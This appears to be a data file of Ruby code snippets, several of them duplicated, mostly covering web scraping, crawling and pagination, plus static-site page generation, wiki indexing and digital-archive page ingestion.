"def all_pages(list_page_url)\n max_page_count = get_max_page_count(list_page_url)\n puts \"max_page_count: #{max_page_count}\"\n (1..max_page_count).each do |page_num|\n begin\n puts \"Crawling page ##{page_num} of #{max_page_count}\"\n page = get_page(list_page_url, page_num)\n yield(page)\n rescue => e\n puts \"Failed to crawl page: #{e.message}\"; next\n end\n sleep(SLEEP_INTERVAL)\n end\n end",
"def wiki_page_scrap\n ### GET IDS OF PAGES IN CATEGORIES\n category_page_ids = {}\n $app_categories.each do |category|\n page_ids = get_wiki_pages_for_category(category, $wiki_api_uri)\n category_page_ids[category] = page_ids\n end\n\n # GET PAGE_ID, TITLE, TEXT from Wiki DB\n db = get_mysql\n text_result = db.query \"SELECT page.page_id, page.page_title, text.old_text FROM text JOIN page ON (text.old_id = page.page_latest);\"\n\n #COLLECT PAGE_ID, TITLE, TEXT and CATEGORIES\n grouped_results = []\n\n text_result.each_hash do |a|\n cats = []\n id = a[\"page_id\"].to_i\n $app_categories.each do |cat|\n cats.push cat if category_page_ids[cat].include? id\n end\n #monkey patch encoding\n a[\"old_text\"].force_encoding(\"UTF-8\")\n a[\"page_title\"].force_encoding(\"UTF-8\")\n grouped_results.push({_id: id, categories: cats, title: a[\"page_title\"], text: a[\"old_text\"]})\n end\n grouped_results\nend",
"def process_results(agent)\n links = ScraperWiki.select(\"link FROM links\")\n links.collect{ |x| x['link'] }.each do | link |\n load_details(agent, link)\n delete_link(link)\n sleep 10\n end\n ScraperWiki.save_var(INDEX, 0)\nend",
"def process_results(agent)\n links = ScraperWiki.select(\"link FROM links\")\n links.collect{ |x| x['link'] }.each do | link |\n load_details(agent, link)\n delete_link(link)\n sleep 10\n end\n ScraperWiki.save_var(INDEX, 0)\nend",
"def scrapePage\n # expects to be passed in a Watir:Browser object\n # gets the header from the current browser page and records it, the page url and the next page's url to the array\n pageDoc = getPage\n nextPageUrl = getFirstLinkUrl(pageDoc)\n pageEntry = getPageRecord(pageDoc, nextPageUrl)\n recordEntry(pageEntry)\n\n LOGGER.debug(\"Information scraped from: #{pageEntry[:url]}\")\n end",
"def collect1 pages\n id = 'joshuabaer'\n results = []\n 1.upto pages do |page|\n results += http_get id, page\n end\n results\nend",
"def make_pages\n Dir.glob(concepts_glob).each do |concept_file_path|\n Jekyll.logger.debug(\"Geolexica:\",\n \"processing concept data #{concept_file_path}\")\n concept_hash = read_concept_file(concept_file_path)\n preprocess_concept_hash(concept_hash)\n add_page ConceptPage::HTML.new(site, concept_hash)\n add_page ConceptPage::JSON.new(site, concept_hash)\n add_page ConceptPage::JSONLD.new(site, concept_hash)\n add_page ConceptPage::Turtle.new(site, concept_hash)\n end\n end",
"def process\n read_posts\n read_layouts\n write_posts\n write_pages\n end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each {|b| b.call(@pages)}\n end",
"def parse_a_page(ctx, page_text)\n return nil if ctx.nil? \n return nil if page_text.nil? \n\n perf_cal = JSON.parse(page_text, :symbolize_names => true)\n\n perfs = []\n perf_cal[:weeks].each do |perfs_of_week|\n perfs_of_week.each do |perfs_of_day|\n\n perfs_of_day[:performances].each do |perf|\n perfs << {\n :DATETIME => perf[:date] + ' ' + perf[:time],\n :TITLE => perf[:title],\n :HALL => (perf[:hall] == '1' ? 'C' : 'R'),\n :DETAILS => (perf[:is_available_detail] ? \n BASE_URL_OF_DETAILS + perf[:detail_link_uri] : nil)\n }\n end\n end\n end\n\n return perfs\nend",
"def parse_a_page(ctx, page_text)\n return nil if ctx.nil? \n return nil if page_text.nil? \n\n perf_cal = JSON.parse(page_text, :symbolize_names => true)\n\n perfs = []\n perf_cal[:weeks].each do |perfs_of_week|\n perfs_of_week.each do |perfs_of_day|\n\n perfs_of_day[:performances].each do |perf|\n perfs << {\n :DATETIME => perf[:date] + ' ' + perf[:time],\n :TITLE => perf[:title],\n :HALL => (perf[:hall] == '1' ? 'C' : 'R'),\n :DETAILS => (perf[:is_available_detail] ? \n BASE_URL_OF_DETAILS + perf[:detail_link_uri] : nil)\n }\n end\n end\n end\n\n return perfs\nend",
"def generate_pages\n Dir.foreach(@site_path) do |file|\n if file =~ /(\\w+)\\.page/\n path = File.join(@site_path, file)\n\n File.open(File.join(@site_path, \"#{$1}.html\"), 'w') do |f|\n f << generate_page(parse_page(path))\n end\n\n @log.debug(\" generated a page from #{path}\")\n end\n end\n end",
"def read_pages\n loop do\n @fetched_events = adapter.fetch_single_page\n sync_events\n break unless adapter.has_next_page\n end\n end",
"def publish_front_page\n\t\tfirst = (@current_page - 1) * 3\n\t\tlast = (first + 3) - 1\n\t\tpage = first..last\n\t\t@post[page].each do |each_post|\n\t\t\tputs \"#{each_post.title} #{each_post.date}\"\n\t\t\tputs \"#{each_post.text}\"\n\t\t\tputs \"------------------------------------\" \n\t\tend\n\t \tputs \"next >\"\n\tend",
"def scrape_pages(url)\n\n pages = []\n\n agent = Mechanize.new do |agent|\n agent.user_agent_alias = \"Windows Chrome\"\n\n pages << agent.get(url)\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n end\n\n pages\n end",
"def generate_stories(start_page)\n require 'open-uri'\n debug = false\n\n if !debug\n\n # Open the first page To get the page numbers\n doc = Nokogiri::HTML(open('http://www.fanfiction.net/tv/Glee/'))\n #get the number of pages to scrape\n pages = []\n doc.xpath('//center/a').each do |page|\n pages.push(page.content)\n @pages = pages[pages.length-2].gsub!(',', '').to_i\n #last page is the second to last linked page\n end\n end\n\n # hard coding pages for now to save some time\n # in a for loop from 1 - number of pages\n if debug\n puts \"Debugging Mode Enabled\"\n @pages = 4\n end\n\n (start_page..@pages).each do |i|\n if debug\n doc= Nokogiri::HTML(open(\"/Users/paigep/Documents/scraper/test#{i}.html\"))\n else\n begin\n doc = Nokogiri::HTML(open(\"http://www.fanfiction.net/tv/Glee/10/0/0/1/0/0/0/0/0/#{i}/\"))\n parse_doc(doc)\n rescue\n print \"Connection failed: #{$!}\\n On Page: #{i}...Restarting...\"\n generate_stories(i) # restart the generating on the failed page\n next\n end\n end\n end\n end",
"def start\n i = 0\n while true\n url = URI.parse(@bank_products_list_url + (page_index + i))\n full_path = (url.query.blank?) ? url.path : \"#{url.path}?#{url.query}\"\n request = Net::HTTP::Get.new(full_path)\n\n response = Net::HTTP.start(url.host, url.port) { |http|\n http.request(request)\n }\n\n raise \"Response was not 200, response was #{response.code}, error was #{response.body}\" if response.code != \"200\"\n\n products = parse_products response\n\n products.each do |p|\n yield convert p\n end\n\n # get out of the loop if this is the last page\n break if is_last_page response\n i = i + 1;\n end\n end",
"def export\n @pages.each_with_index do |page, i|\n puts \"Export:\"\n=begin\n #page.load_original\n ScanEnhancer::profile(\"fill_invert\") {\n page.content.fill_invert\n }\n ScanEnhancer::profile(\"Deskew\") {\n page.deskew!\n }\n ScanEnhancer::profile(\"threshold\") {\n page.threshold!\n }\n=end\n ScanEnhancer::profile(\"export\") {\n page.export(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n #page.export_data(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n }\n page.free_data!\n puts \"\"\n end\n end",
"def extract_pages_list\n if @page\n if @page.wikitopdf_toc_page && @page.wikitopdf_toc_page.istoc\n [ url_by_page(@page) ] + pages_from_toc(@page)\n else\n [ url_by_page(@page) ] + pdf_page_hierarchy(@page.id)\n end\n else\n pdf_page_hierarchy(nil)\n end\n end",
"def scrap_trip_pages\n \n mp_trip_pages.each do |mp, trip_page|\n printf \"mp - #{mp}\\n\"\n doc = utf_page(trip_page)\n t = Time.now\n komandiruotes = (doc/\"//a[text()='Komandiruotės']\").first\n mp_business_trip(mp, denormalize( komandiruotes.attributes['href'] ) ) if komandiruotes\n printf \"Laikas: #{Time.now - t}\\n\"\n #sleep 3\n end\n \n end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each { |block| block.call(@pages) }\n end",
"def get_all_das(page)\n while (is_available(page)) do\n result = get_all_das_in_page(page)\n if result\n page = get_next_page(page)\n else\n page = nil\n end\n end\nend",
"def get_all_das(page)\n while (is_available(page)) do\n result = get_all_das_in_page(page)\n if result\n page = get_next_page(page)\n else\n page = nil\n end\n end\nend",
"def index\n @scraping_pages = ScrapingPage.all\n end",
"def process_all\n @events = []\n\n # Download and parse each of the files for all the seasons\n # and week ranges we need to process\n Config.read(\"seasons\").each do |season|\n Config.read(\"week_ranges\").each do |weeks|\n data = download(academic_year, season, weeks)\n parse(data)\n end\n end\n\n # Do nothing if saving to cache was not possible\n Cache.save(@course_id, @events) rescue nil\n\n init_calendar\n add_to_calendar(@events)\n end",
"def crawl(pages, depth=2)\n depth.times do\n new_pages = Set.new\n pages.each do |page|\n begin\n doc = Hpricot(open(page))\n rescue\n printf \"Could not open %s\\n\", page\n next\n end\n \n add_to_index(page, doc)\n \n (doc/'a').each do |link|\n if link['href']\n url = URI.join(page, link['href']).to_s\n next if url =~ /'/\n url = url.split('#').first # drop the fragment\n if url[0,4] == 'http' and not is_indexed(url)\n new_pages << url\n end\n link_text = get_text_only(link)\n add_link_ref(page, url, link_text)\n end\n end\n end\n \n pages = new_pages\n end\n end",
"def all_list_page_urls\n LIST_PAGE_URLS.each_with_index do |list_page_url, i|\n begin\n puts \"-- Crawling #{list_page_url} (#{i + 1} of #{LIST_PAGE_URLS.count}) --\"\n yield(list_page_url)\n rescue => e\n puts \"Failed to crawl list_page_url:#{e.message}\"; next\n end\n end\n end",
"def all_list_page_urls\n LIST_PAGE_URLS.each_with_index do |list_page_url, i|\n begin\n puts \"-- Crawling #{list_page_url} (#{i + 1} of #{LIST_PAGE_URLS.count}) --\"\n yield(list_page_url)\n rescue => e\n puts \"Failed to crawl list_page_url:#{e.message}\"; next\n end\n end\n end",
"def parse_category_pages(db_category, group_name_ru)\n products_request_url = 'https://catalog.api.onliner.by/search/' + db_category.name\n response_json = special_request(products_request_url)\n quantity = JSON.parse(response_json)['page']['last'].to_i\n 1.upto(quantity) do |page_number|\n print \"\\r#{group_name_ru}/#{db_category.name} : #{page_number}/#{quantity}\"\n page_url = products_request_url + '?page=' + page_number.to_s\n get_products_from_page(page_url, db_category)\n sleep(2)\n end\n puts\n end",
"def linkPages\n @all_pages.each_value do |one_page|\n one_page.addPageLinks\n end\n @all_pages.each_value do |one_page|\n one_page.addMissingLinkNames\n end\n end",
"def process(table_name = \"tmp_products\")\n db.execute \"DELETE FROM #{table_name};\"\n db.execute \"VACUUM\" # follow DELETE to clear unused space\n\n (1..pages).each do |index|\n sufix = (url =~ /\\?.+/) ? \"&page=\" : \"?page=\"\n page_link = url + sufix + \"#{index}\"\n get(page_link)\n # sleep SLEEP_SECONDS\n\n seq = 1\n page.search('div.product-card__details a').each do |link|\n product_url = (page.uri + link.attribute('href')).to_s\n\n # break if seq == 20\n\n begin\n transact do\n click link\n\t # sleep SLEEP_SECONDS\n # Do stuff, maybe click more links.\n product = page.content.match(/data-product=\"(.+?)\"/)[1].gsub(\""\", '\"')\n product = JSON.parse(product)\n\n if product[\"available\"] == 'N'\n # speed = (Date.parse(Time.now.to_s) - Date.parse(product[\"release_date\"])).ceil\n speed = (Date.parse(Time.now.to_s) - Date.parse(product[\"release_date\"])).round\n else\n speed = \"\"\n end\n\n categories = product_url.match(/.+products\\/(.*)/)[1].split(\"/\")[0..-2].join(\",\")\n\n row = nil, product[\"unique_id\"], url, categories, product[\"name\"], product[\"price\"], product[\"sale_price\"], speed, product_url, product[\"release_date\"], product[\"available\"]\n db.execute \"insert into #{table_name} values ( ?, ?, ?, ? , ? , ? , ? , ? , ? , ? , ? )\", row\n\n prompt \"page#{index}:#{seq}> #{[product[\"name\"], product[\"sale_price\"], product[\"release_date\"], product[\"available\"]].join(',')}\"\n seq += 1\n end\n # Now we're back at the original page.\n\n rescue => e\n $stderr.puts \"#{e.class}: #{e.message}\"\n end\n end\n end\n # sleep 1 if index % 7 == 0\n end",
"def test_pages\n oldpage = @current_page\n @current_page = nil\n for i in 0...pages.size\n if test_page_conditions(i)\n @current_page = i\n if oldpage != @current_page\n # Run only if the page actually changed\n @direction = current_page.graphic[:direction] || 2\n # Delete any interpreters there may be left trying to run the old page\n if oldpage\n if oldpage.has_trigger?(:parallel_process)\n $game.map.parallel_interpreters.delete_if { |i| i.event == self }\n else\n $game.map.event_interpreters.delete_if { |i| i.event == self }\n end\n end\n # Execute event if new page is Parallel Process or Autorun\n if current_page.has_trigger?(:parallel_process) || current_page.has_trigger?(:autorun)\n trigger\n end\n if current_page.automoveroute[:commands].size > 0\n # Wait 1 frame to start the new autonomous move route so the visuals have time to adjust to the new page.\n @automove_wait = 1\n end\n end\n break\n end\n end\n end",
"def process(page, depth)\n return if page.nil? || depth >= @params.fetch(:crawling_depth, CONFIG[:crawling_depth])\n get_sub_pages(page, :agent => @agent).each do |sub_page|\n begin\n process(sub_page, depth + 1)\n sleep(1)\n rescue Mechanize::UnsupportedSchemeError => _\n $stderr.puts 'Error: Found link with unsupported scheme, trying another'\n rescue Mechanize::ResponseCodeError => err\n $stderr.puts \"Error: #{err.message}\"\n end\n\n end\n log(page)\n end",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def c_page(n)\n BestiaryConfig::PAGEFX.play\n self.index += n\n end",
"def parse_html_files\n Find.find(Dir.getwd) do |file|\n if !File.directory? file and File.extname(file) == '.html'\n # exclude and skip if in a bad directory\n # we may be on an html file, but some we just do not want\n current = File.new(file).path\n\n # skip these folders entirely\n if current.match(/(blog|old|draft|archive|font)/i)\n next\n end\n\n # open file, pluck content out by its element(s)\n page = Nokogiri::HTML(open(file));\n\n # grab title\n title = page.css('title').text.to_s;\n title = strip_bad_chars(title)\n\n # for page title, destroy any pipes and MS pipes and return the first match\n title.sub!('Velir | ', '')\n\n # Grab hero title and tagline\n hero = page.css('article.type-centered h2').text\n hero_tagline = page.css('article.type-centered .type-hero').text\n\n # grab the body content\n body = page.css('.outer-wrapper .row .columns').to_html\n body = clean_body(body)\n\n # clean the file path\n path = File.new(file).path\n path.gsub! $base_path, \"/\"\n\n # if we have content, add this as a page to our page array\n if (body.length > 0)\n $count += 1\n puts \"Processing \" + title\n\n # insert into array\n data = {\n 'title' => title,\n 'path' => path,\n 'hero' => hero,\n 'hero_tagline' => hero_tagline,\n 'body' => body,\n }\n\n $pages.push data\n end\n end\n end\n\n write_csv($pages)\n report($count)\nend",
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index[:longSearchIndex] << ''\n record.shift\n @index[:info] << record\n end\n end",
"def scrap_products(category_records) \n category_records.each do |element|\n print_catalog_details(element)\n \n begin\n product_css_target = \"div.mainbox\"\n items_in_category_css_target = \"span#lblCount\"\n \n prod_card_list = parse_page(element.url, product_css_target)\n\n i = 1 # page iterator\n pr_count = 0 \n\n items_in_category = parse_page(element.url, items_in_category_css_target).text.split(' ')[5].to_i\n items_per_page = prod_card_list.count\n total_pages = (items_in_category.to_f / items_per_page.to_f).ceil #страниц с товарами\n \n while i <= total_pages \n pagination_url = element.url.gsub('catalog.aspx?catalog_id=', 'catalog/').gsub('&catalog_name=','/') + \"/?page=#{i}&sort=2\"\n \n print_pagination_details(i, pagination_url)\n \n pagination_prod_card_list = parse_page(pagination_url, product_css_target)\n \n # Перебираем продукты на странице\n pagination_prod_card_list.each do |prod| \n \n db_record_product = Product.find_or_create_by(url: get_product_url(prod))\n db_record_product.name = get_product_name(prod)\n db_record_product.price = get_product_price(prod)\n db_record_product.url = get_product_url(prod)\n db_record_product.sku = get_product_sku(prod)\n db_record_product.save # save the product in DB \n \n db_record_product.catalogs << element # ключи в связующей таблице\n \n print_product_attr(db_record_product) \n end\n i = i + 1\n pr_count = pr_count + pagination_prod_card_list.count # счетчик товаров в категории\n end \n puts \"Added items to category: \" + pr_count.to_s\n puts \"Total added: \" + Product.all.count.to_s\n puts'' \n rescue\n puts \"!!! This catalog is empty\"\n puts ''\n next\n end\n end\nend",
"def map_words_on_page\n fetcher = FetchUrl.new\n page_content = fetcher.fetch(self[:url]).body\n\n processor = PageProcessor.new\n processor.process_page page_content\n end",
"def process_url\n map = map_words_on_page\n map.each do |word, count|\n wc = WordCount.new(:word=>word, :count=>count, :page_id => object_id)\n push wc # todo pull the push/stack functionality out of Page to minimize db calls\n end\n end",
"def process_page_results(output_file_name, result_items)\n file = output_file(output_file_name)\n\n result_items.each do |result|\n file.write(\"#{result['id']},#{result['full_name']},#{result['language']}\\n\")\n end\nend",
"def each_page(&block)\n call_client(:each_page, &block)\n end",
"def show\n @series = Series.find(params[:id])\n @feeds = Feed.where(series_id: params[:id])\n @feeds.each do |feed|\n @entries = Entry.where(feed_id: feed.id).order(:created_at).page params[:page]\n end\n \n end",
"def add_series\n @bib.series.each do |s|\n case s.type\n when \"journal\"\n @item.journal = s.title.title\n @item.number = s.number if s.number\n when nil then @item.series = s.title.title\n end\n end\n end",
"def message_detail\n @archive.series.each do |series|\n titles = series.webpage.parser.xpath(\"//div[@id='series_title']/ul/li\")\n .map {|e| e.children.text }\n\n speakers = series.webpage.parser.xpath(\"//div[@id='series_speaker']/ul/li\")\n .map {|e| e.children.text}\n\n campuses = series.webpage.parser.xpath(\"//div[@id='series_campus']/ul/li\")\n .map {|e| e.children.text}\n\n videos = series.webpage.parser.xpath(\"//div[@id='series_video']/ul/li\")\n .map do |e|\n link = nil\n e.children.each do |c|\n if c.name == 'a'\n link = c\n break\n end\n end\n\n if !link.nil?\n link.attributes['href'].value.strip\n else\n link\n end\n end\n\n audios = series.webpage.parser.xpath(\"//div[@id='series_audio']/ul/li\")\n .map do |e|\n link = nil\n e.children.each do |c|\n if c.name == 'a'\n link = c\n break\n end\n end\n\n if !link.nil?\n link.attributes['href'].value.strip\n else\n link\n end\n end\n\n notes = series.webpage.parser.xpath(\"//div[@id='series_notes']/ul/li\")\n .map do |e|\n link = nil\n e.children.each do |c|\n if c.name == 'a'\n link = c\n break\n end\n end\n\n if !link.nil?\n link.attributes['href'].value.strip\n else\n link\n end\n end\n\n #array indexen\n t = s = c = v = a = n = 1;\n lt = ls = lc = 1;\n\n series.sermons.each do |sermon|\n sermon.messages.each do |message|\n lt = t if titles[t] != ''\n ls = s if speakers[s] != ''\n lc = c if campuses[c] != ''\n\n message.title = titles[lt]\n message.speaker = speakers[ls]\n message.video = videos[v]\n message.audio = audios[a]\n message.notes = notes[n]\n message.campus = campuses[c]\n\n t += 1; s += 1; c += 1; v += 1; a += 1; n+=1;\n end\n end\n\n end\n end",
"def homepage_iteration\n doc = scrape_homepage\n doc.css('section.subcategory').each do |category|\n NytBestsellers::Book.create_from_scraper(category)\n end\n end",
"def ingest_page pagename, label, sequence\n\n path = File.join(@directory_path, pagename)\n mime_type = Utils.mime_type(path)\n\n pdf, pdf_error_messages, thumbnail, thumbnail_error_messages = nil\n\n ingestor = Ingestor.new(@config, @namespace, @manifest) do |ingestor|\n\n ingestor.label = pagename\n ingestor.owner = @owner\n ingestor.content_model = @page_content_model\n ingestor.dc = page_dc(ingestor.pid, pagename)\n\n case mime_type\n when TIFF; handle_tiff_page(ingestor, path);\n when JP2; handle_jp2k_page(ingestor, path);\n when JPEG; handle_jpeg_page(ingestor, path);\n else\n raise PackageError, \"Page image #{pagename} in #{pretty_class_name} #{@directory_name} is of unsupported type #{mime_type}.\"\n end\n\n handle_ocr(ingestor, path)\n\n thumbnail, thumbnail_error_messages = Utils.image_resize(@config, path, @config.thumbnail_geometry, 'jpeg')\n\n ingestor.datastream('TN') do |ds|\n ds.dsLabel = 'Thumbnail'\n ds.content = thumbnail\n ds.mimeType = 'image/jpeg'\n end\n\n pdf, pdf_error_messages = Utils.image_to_pdf(@config, path)\n\n ingestor.datastream('PDF') do |ds|\n ds.dsLabel = 'PDF'\n ds.content = pdf\n ds.mimeType = 'application/pdf'\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = page_rels_ext(ingestor.pid, label, sequence)\n ds.mimeType = 'application/rdf+xml'\n end\n\n ingestor.datastream('RELS-INT') do |ds|\n ds.dsLabel = 'RELS-INT'\n ds.content = page_rels_int(ingestor.pid, path)\n ds.mimeType = 'application/rdf+xml'\n end\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n end\n\n @bytes_ingested += ingestor.size\n\n if not Utils.request_index_update_for_pid(@config, ingestor.pid)\n error \"Problem updating index for #{ingestor.pid}.\"\n end\n\n return ingestor.pid\n\n rescue PackageError => e\n error e\n raise e\n rescue => e\n error \"Caught exception processing page number #{sequence} #{pagename}, #{e.class} - #{e.message}.\", e.backtrace\n raise e\n\n ensure\n warning ingestor.warnings if ingestor and ingestor.warnings?\n error ingestor.errors if ingestor and ingestor.errors?\n\n warning [ 'Issues creating Thumbnail datastream' ] + thumbnail_error_messages if thumbnail_error_messages and not thumbnail_error_messages.empty?\n warning [ 'Issues creating PDF datastream' ] + pdf_error_messages if pdf_error_messages and not pdf_error_messages.empty?\n\n safe_close(thumbnail, pdf)\n end",
"def pages(time)\n\n response = HTTParty.get(\"https://api.pushshift.io/reddit/search/submission/?subreddit=#{$subreddit}&sort=desc&sort_type=created_utc&size=#{$max_per_page}&search?before=#{time}\")\n json = JSON.parse(response.body)\n\n json[\"data\"].each do |f|\n $urls << [f[\"created_utc\"], f[\"url\"]] if f[\"url\"].match?($img_formats) && f[\"url\"].match?($valid_urls)\n end\n\n if $page < $max_page\n sleep(rand(2..5))\n $page += 1\n pages($urls.last[0])\n else\n write_file\n end\n\nend",
"def fetch\n hydra = Typhoeus::Hydra.new(:max_concurrency => @threads)\n page, pages = nil, []\n\n @urls.each do |url|\n request = Typhoeus::Request.new(url, :timeout => @timeout, :followlocation => false, :headers => {\"Accept\" => \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\", \"Cache-Control\" => \"no-cache\", \"Pragma\" => \"no-cache\", \"User-Agent\" => UserAgents.random})\n request.on_complete do |response|\n uri = URI(url)\n if response.success?\n puts \"fetching #{url}\".green.on_black\n page = Page.new(uri, response_code: response.code,\n response_head: response.headers,\n response_body: response.body,\n response_time: response.time*1000,\n crawled_time: (Time.now.to_f*1000).to_i)\n elsif (300..307).include?(response.code)\n puts \"fetching #{url}\".green.on_black\n puts \"### #{response.code} ### redirect to #{response.headers['Location']}\".white.on_black\n page = Page.new(uri, response_code: response.code,\n response_head: response.headers,\n response_body: response.body,\n response_time: response.time*1000,\n redirect_url: response.headers['Location'])\n elsif 404 == response.code\n puts \"fetching #{url}\".green.on_black\n puts \"### #{response.code} ### not found #{url}\".magenta.on_black\n page = Page.new(uri, response_code: response.code,\n response_time: response.time*1000)\n else\n puts \"fetching #{url}\".green.on_black\n puts \"### #{response.code} ### failed #{url}\".magenta.on_black\n puts \"### Time: #{response.time} ### #{response.return_message}\".magenta.on_black\n page = Page.new(uri, response_code: response.code,\n response_time: response.time*1000)\n end\n pages << page\n end\n hydra.queue(request)\n end\n hydra.run\n return pages\n end",
"def process\n self.read_layouts\n self.read_posts\n self.write_posts\n self.transform_pages\n end",
"def get_all_das_in_page(page)\n\n # Todo: For each element of the page that contains the Development Application, get Development Application Summary.\n\n # For example:\n\n page.search('table.ContentPanel tr[class$=ContentPanel]').each do |da_container|\n\n get_development_application(page, da_container)\n\n end\n\n \n\nend",
"def get_all_das_in_page(page)\n\n # Todo: For each element of the page that contains the Development Application, get Development Application Summary.\n\n # For example:\n\n page.search('table.ContentPanel tr[class$=ContentPanel]').each do |da_container|\n\n get_development_application(page, da_container)\n\n end\n\n \n\nend",
"def process_detail_html_pages\n start = Time.now\n\n # get all ids\n # - need this to get image id for image url\n all_ids = CSV.read(\"#{@listings_folder}/merged_ids.csv\")[1..-1]\n\n # get list of html files\n html_files = Dir.glob(\"#{@details_folder}/*.html\")\n remaining_files = []\n\n if html_files.nil? || html_files.length == 0\n puts \"NO HTML FILES EXIST TO PROCESS!\"\n exit\n end\n\n # get csv data, if not exist, create it\n if !File.exist?(@csv_data)\n CSV.open(@csv_data, 'wb') do |csv|\n # headers\n csv << @csv_headers\n end\n end\n csv_data = CSV.read(@csv_data)\n\n # if there is data that is already processed,\n # get the processed ids so we do process them again\n remaining_files = if csv_data.length > 0\n # first column is ids\n html_files - csv_data[1..-1].map{|x| \"#{@details_folder}/#{x[0]}.html\"}\n else\n html_files\n end\n\n # get rid of the csv data\n # - reduce memory load\n csv_data = nil\n\n # for each file\n # - open it in nokogiri\n # - pull out the data\n # - append to csv\n if remaining_files.length == 0\n puts \"there are NO files to process\"\n else\n puts \"there are #{remaining_files.length} files to process\"\n\n remaining_files.each_with_index do |file, index|\n row_data = []\n\n if index%50 == 0\n puts \"#{index} files processed so far in #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n # open in nokogiri\n doc = File.open(file) { |f| Nokogiri::XML(f) }\n\n ###################\n # process the data\n # - id\n row_data << process_value(doc.css('#id_res'))\n\n # - last name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Фамилия\") + .card_param-result'))\n\n # - first name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Имя\") + .card_param-result'))\n\n # - middle name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Отчество\") + .card_param-result'))\n\n # - birth_date\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата рождения/Возраст\") + .card_param-result'))\n\n # - place of birth\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Место рождения\") + .card_param-result'))\n\n # - date/place of recruitment\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата и место призыва\") + .card_param-result'))\n\n # - last place of service\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Последнее место службы\") + .card_param-result'))\n\n # - military rank\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Воинское звание\") + .card_param-result'))\n\n # - death reason\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Причина выбытия\") + .card_param-result'))\n\n # - death date\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Дата выбытия\") + .card_param-result'))\n\n # - initial burial location\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Первичное место захоронения\") + .card_param-result'))\n\n # - source name\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Название источника донесения\") + .card_param-result'))\n\n # - source fund number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер фонда источника информации\") + .card_param-result'))\n\n # - source description number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер описи источника информации\") + .card_param-result'))\n\n # - source file number\n row_data << process_value(doc.css('.card_parameter .card_param-title:contains(\"Номер дела источника информации\") + .card_param-result'))\n\n # - source image url\n # - use the image id from the listings csv file to build the url\n record = all_ids.select{|x| x[0] == row_data[0]}.first\n if record.nil? || record[1].nil? || record[1] == ''\n row_data << nil\n else\n row_data << \"#{@image_url}#{record[1]}\"\n end\n\n\n ###################\n # append to the csv\n CSV.open(@csv_data, 'a') do |csv|\n csv << row_data\n end\n end\n end\nend",
"def assign_pages!; end",
"def pages=(_arg0); end",
"def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend",
"def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend",
"def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend",
"def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend",
"def process_files files=[]\n files.each do |file|\n process_file file\n end\n end",
"def messages\n @archive.series.each do |series|\n series.webpage = @agent.get series.path\n series.title = series.webpage.parser.xpath(\"//div[@id='series']/h2\").children.text\n\n dates = series.webpage.parser.xpath(\"//div[@id='series_date']/ul/li\")\n dates = dates.map {|d| d.children.text }\n\n sermon = nil\n dates.each do |date|\n next if date == 'Date'\n # create a new sermon if we're at a new date. this is an awkward webpage.\n if date != ''\n sermon = series.a_sermon\n sermon.date = date\n end\n sermon.a_message\n end\n end\n end",
